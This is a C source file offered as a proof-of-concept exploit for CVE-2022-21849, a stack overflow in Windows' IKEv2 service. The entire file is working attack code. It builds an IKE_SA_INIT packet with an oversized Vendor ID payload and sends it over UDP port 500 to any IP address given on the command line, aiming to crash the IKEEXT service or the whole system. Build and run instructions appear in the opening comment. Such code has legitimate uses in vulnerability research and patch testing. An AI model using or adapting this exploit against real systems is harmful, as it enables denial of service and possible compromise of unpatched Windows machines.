/*
 * PoC for CVE-2022-21849 — Windows IKEv2 Stack Buffer Overflow
 *
 * The vulnerability is in ikeext.dll!IkeHandleSecurityRealmVendorId which calls
 * WfpBytesToString to copy vendorID payload data into an 80-byte stack buffer
 * without length checking. A large vendorID payload overflows the stack buffer.
 *
 * Reachable via UDP/500 IKEv2 VendorID payload with vendorID = 0x1000
 * ("MSFT IPsec Security Realm Id").
 *
 * Build: cl /O2 /W3 poc_cve_2022_21849.c ws2_32.lib
 * Run:  poc_cve_2022_21849.exe <target_ip>
 *
 * Expected result on vulnerable systems:
 *   - IKEEXT service crash or bugcheck in ikeext!IkeHandleSecurityRealmVendorId
 *
 * On patched systems: packet is dropped / ignored.
 */

#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#pragma comment(lib, "ws2_32.lib")

#define IKE_PORT 500

/*
 * IKEv2 packet header (simplified)
 */
typedef struct _IKEV2_HEADER {
    UINT64 initiator_spi;
    UINT64 responder_spi;
    UINT8  next_payload;
    UINT8  version;
    UINT8  exchange_type;
    UINT8  flags;
    UINT32 message_id;
    UINT32 length;
} IKEV2_HEADER;

/*
 * Vendor ID payload (43) — RFC 7296
 */
typedef struct _VENDOR_ID_PAYLOAD {
    UINT8  next_payload;
    UINT8  reserved;
    UINT16 payload_length;
    /* vendor ID data follows */
} VENDOR_ID_PAYLOAD;

/* MSFT IPsec Security Realm Id = 0x1000 (big-endian) */
static const UINT8 MSFT_SECURITY_REALM_ID[] = {
    0x00, 0x00, 0x10, 0x00  /* vendorID = 0x1000 */
};

int main(int argc, char **argv)
{
    WSADATA wsa;
    SOCKET sock;
    struct sockaddr_in target;
    char *target_ip;
    char packet[1024];
    int packet_len;
    int sent;

    if (argc < 2) {
        fprintf(stderr, "Usage: %s <target_ip>\n", argv[0]);
        return 1;
    }
    target_ip = argv[1];

    printf("[*] CVE-2022-21849 PoC — IKEv2 VendorID Stack Overflow\n");
    printf("[*] Target: %s:%d\n", target_ip, IKE_PORT);
    printf("[*] Reference: https://blog.78researchlab.com/53e53729-d728-4635-a58d-08ad8a1f68e4\n\n");

    if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {
        fprintf(stderr, "[-] WSAStartup failed\n");
        return 1;
    }

    sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if (sock == INVALID_SOCKET) {
        fprintf(stderr, "[-] socket failed: %d\n", WSAGetLastError());
        WSACleanup();
        return 1;
    }

    memset(&target, 0, sizeof(target));
    target.sin_family = AF_INET;
    target.sin_port = htons(IKE_PORT);
    inet_pton(AF_INET, target_ip, &target.sin_addr);

    /* Build IKEv2 INIT request with oversized VendorID payload */
    memset(packet, 0, sizeof(packet));
    IKEV2_HEADER *hdr = (IKEV2_HEADER *)packet;
    hdr->initiator_spi = 0x0102030405060708ULL;
    hdr->responder_spi = 0;
    hdr->next_payload = 43; /* Vendor ID */
    hdr->version = 0x20;    /* IKEv2 */
    hdr->exchange_type = 34; /* IKE_SA_INIT */
    hdr->flags = 0x08;      /* Initiator */
    hdr->message_id = 0;

    /* Vendor ID payload at offset 28 */
    VENDOR_ID_PAYLOAD *vid = (VENDOR_ID_PAYLOAD *)(packet + sizeof(IKEV2_HEADER));
    vid->next_payload = 0;  /* Last payload */
    vid->reserved = 0;

    /* Copy MSFT Security Realm ID */
    memcpy((char *)vid + sizeof(VENDOR_ID_PAYLOAD), MSFT_SECURITY_REALM_ID, sizeof(MSFT_SECURITY_REALM_ID));

    /* Overflow: append a large payload (>80 bytes total) to overflow stack buffer */
    UINT8 overflow_data[512];
    memset(overflow_data, 'A', sizeof(overflow_data));
    memcpy((char *)vid + sizeof(VENDOR_ID_PAYLOAD) + sizeof(MSFT_SECURITY_REALM_ID),
           overflow_data, sizeof(overflow_data));

    vid->payload_length = htons(sizeof(VENDOR_ID_PAYLOAD) + sizeof(MSFT_SECURITY_REALM_ID) + sizeof(overflow_data));
    hdr->length = htonl(sizeof(IKEV2_HEADER) + ntohs(vid->payload_length));
    packet_len = ntohl(hdr->length);

    printf("[*] Sending IKEv2 VendorID payload (%d bytes, vendorID=0x1000)...\n", packet_len);
    sent = sendto(sock, packet, packet_len, 0, (struct sockaddr *)&target, sizeof(target));
    if (sent == SOCKET_ERROR) {
        fprintf(stderr, "[-] sendto failed: %d\n", WSAGetLastError());
    } else {
        printf("[+] Sent %d bytes\n", sent);
        printf("[*] If target is VULNERABLE, IKEEXT service may crash.\n");
        printf("[*] If target is PATCHED, the packet is silently dropped.\n");
    }

    closesocket(sock);
    WSACleanup();
    return 0;
}
